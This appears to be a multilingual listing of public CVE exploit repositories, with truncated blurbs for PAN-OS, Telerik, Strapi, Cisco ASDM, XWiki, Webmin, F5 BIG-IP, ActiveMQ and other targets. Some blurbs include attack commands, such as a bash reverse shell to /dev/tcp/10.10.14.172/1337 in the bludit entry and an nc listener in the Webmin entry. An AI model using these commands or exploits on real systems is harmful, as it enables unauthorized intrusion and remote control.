PanOsExploitMultitool

PanOsExploitMultitool Exploitation and Post-Exploitation Multitool for Palo Alto PAN-OS Systems affected by vulnerabilities CVE-2024-0012 and CVE-2024-9474 During early exploitation of CVE-2024-0012 and CVE-2024-9474's Remote Code Execution vulnerabilities, I acquired a shell and began identifyin...

Telerik_CVE-2019-18935

Escáner Python de TelerikUI telerikrcescan.py Ejemplos Evaluar una IP para CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Evaluar un nombre de equipo para CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Evaluar un rango de red CIDR para CVE-2019-18935 $ python3...

CVE-2025-48384-main

CVE-2025-48384용 PoC 이것은 POC입니다. 안전하지 않은 환경에서 다운로드하지 마세요. 해커가 사용자의 머신에서 원격 코드를 실행할 수 있게 합니다. 참조: CVE-2025-48384 실행하려면: root@kitploit: git clone --recurse-submodules [email protected]:zr0n/CVE-2025-48384-main.git 실행되는 페이로드는 여기에 있습니다...

CVE-2019-19609

Strapi CMS 漏洞利用 该漏洞利用针对 Strapi CMS 框架 3.0.0-beta-17.4 版本中的两个漏洞，允许未经身份验证的远程代码执行（RCE）。 漏洞 CVE-2019-18818 弱密码恢复机制导致忘记密码 CVSS : 9.8 - 严重 更多详情: https://nvd.nist.gov/vuln/detail/CVE-2019-18818 CVE-2019-19609 未正确中和 OS 命令中的特殊元素（'OS 命令注入'） CVSS : 7.2 - 高危 更多详情:...

staystaystay

staystaystay staystaystay는 CVE-2021-1585에 대한 개념 증명 익스플로잇입니다. 이는 Cisco ASA Device ManagerASDM에 영향을 미치는 중간자 공격 또는 악의적 엔드포인트 RCE 문제입니다. 이 문제는 원래 Malcolm Lashley에 의해 발견되어 2021년 여름에 공개되었습니다. 하지만 제가 조사할 당시 최신 버전ASDM 7.171에서 패치되지 않았으며, 저는 이 문제를 독립적으로 발견했습니다. Cisco는 ASDM 7.181.152에서 이를 "수정"했습니다. 제가 "수정"이...

staystaystay

staystaystay staystaystay is a proof of concept exploit for CVE-2021-1585, a man in the middle or evil endpoint RCE issue affecting Cisco ASA Device Manager ASDM. The issue was originally discovered by Malcolm Lashley and disclosed in the summer of 2021. However, at the time I was looking at this...

CVE-2019-6340

CVE-2019-6340 Drupal8的REST RCE，SA-CORE-2019-003 0x01 docker search CVE-2019-6340 root@kitploit: NAME DESCRIPTION STARS OFFICIAL AUTOMATED knqyf263/cve-2019-6340 CVE-2019-6340 Drupal 环境 0 cved/cve-2019-6340 cve-2019-6340 0 0x02 docker pull knqyf263/cve-2019-6340 root@kitploit: Using default tag:...

ESPOCRM-RCE-POC-CVE-2026-33656

EspoCRM = 9.3.3 CVE-2026-33656 — Authenticated RCE via Formula ACL Bypass + Attachment sourceId Path Traversal + .htaccess Poisoning Author : Jiva jivasecurity.com Writeup : https://jivasecurity.com/writeups/espocrm-rce-cve-2026-33656 Product : EspoCRM = 9.3.3 Auth : Admin credentials required...

CVE-2025-55182-EXP

CVE-2025-55182 취약점 악용 도구 도구 소개 본 도구는 CVE-2025-55182 취약점Next.js 관련 프레임워크의 코드 실행 취약점으로 추정을 탐지하고 악용하기 위한 도구입니다. 단일 대상/다중 대상 일괄 탐지, 명령 실행, 인터랙티브 셸 등의 기능을 지원하며, 다양한 시나리오에 맞는 4가지 공격 모드를 제공합니다. Base64 인코딩 명령, 프록시 전달, 로그 출력 등 유연한 구성을 지원합니다. 취약점 설명 CVE-2025-55182 취약점은 Next.js 관련 애플리케이션에 존재할 수 있으며, 악의적인 요청...

CVE-2022-22947

CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" Descargo de responsabilidad Esta herramienta es solo para estudio, investigación y autoevaluación. No debe utilizarse para fines ilegales. ¡Todos lo...

CVE-2022-28368

CVE-2022-28368 - Dompdf RCE Exploit PoC de Dompdf RCE alt text ExploitDB Las versiones de Dompdf 1.2.1 son vulnerables a Ejecución Remota de Código RCE mediante la inyección de CSS en los datos. Se puede engañar al archivo para que almacene una fuente maliciosa con extensión .php en su caché de...

POC-CVE-2018-10933

POC-CVE-2018-10933 Exploit de bypass de autenticación de LibSSH usando RCE Referencias del código Git Repo del ejemplo de https://www.youtube.com/watch?v=ZSWQjmfcn4g Más información sobre la vulnerabilidad https://www.libssh.org/security/advisories/CVE-2018-10933.txt...

CVE-2025-24893

Exploit for CVE-2025-24893 CVE-2025-24893 is a critical unauthenticated remote code execution RCE vulnerability affecting the XWiki Platform. This flaw lets any guest user inject and execute arbitrary Groovy code —without authentication—via a specially crafted RSS request to the SolrSearch...

CVE-2024-23739

CVE-2024-23739 Discord for macOS 0.0.291 及之前版本中存在一个问题，远程攻击者可通过 RunAsNode 和 enableNodeClilnspectArguments 设置执行任意代码。 有一个工具专门用于自动化搜索 Electron 应用中的漏洞：https://github.com/r3ggi/electroniz3r 使用此工具，我们可以检查该应用是否存在漏洞： 验证后，我们可以注入代码并获取 shell 享受你的 Shell 吧 :...

Webmin1.910_exploit

Webmin 1.910 원격 코드 실행 익스플로잇 설명: 이 저장소에는 Webmin 1.910 버전의 원격 코드 실행 취약점을 악용하도록 설계된 Python 3 스크립트가 포함되어 있습니다. 이 스크립트는 sessionlogin.cgi 엔드포인트를 사용하여 인증을 수행하고 리버스 셸 페이로드를 배포하여 대상 시스템에 대한 원격 액세스를 제공합니다. 이 익스플로잇은 승인된 침투 테스트 및 교육 목적으로 제작되었습니다. 1. 로컬 머신에서 리스너를 시작하세요: root@kitploit: nc -lvnp 2. 다음 명령어로 스크립트...

CVE-2022-30190

CVE 30190 Amine TITROFINE | 17 de diciembre de 2022 Follina CVE-2022-30190 es una vulnerabilidad de día cero de Microsoft Office descubierta recientemente. Es una vulnerabilidad de alta gravedad que los atacantes pueden aprovechar para ejecutar código remoto RCE. Se produce cuando se llama a MSDT...

CVE-2021-24499

CVE-2021-24499 Explotación masiva de CVE-2021-24499: subida no autenticada que conduce a ejecución remota de código en el tema Workreap. Las acciones AJAX workreapawardtempfileuploader y workreaptempfileuploader no realizaban comprobaciones de nonce ni validaban de ninguna otra forma que la...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE autenticado Uso python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Ejemplo...

CVE-2026-34197-payload-Apache-ActiveMQ-

ActiveMQ Jolokia RCE Vulnerability Reproduction Guide This repository provides a remote code execution RCE vulnerability reproduction environment and exploitation script based on the exposed Jolokia API endpoint /api/jolokia/ of Apache ActiveMQ. By invoking the addNetworkConnector operation, it...

CVE-2021-22986

F5 BIG-IP RCE / CVE-2021-22986 Vulnerabilidad de Ejecución Remota de Código Código por: Tas9er Advertencia Esta herramienta está diseñada para ayudar a las empresas a localizar y corregir vulnerabilidades rápidamente. Solo para uso autorizado en pruebas de seguridad, cumpliendo estrictamente con ...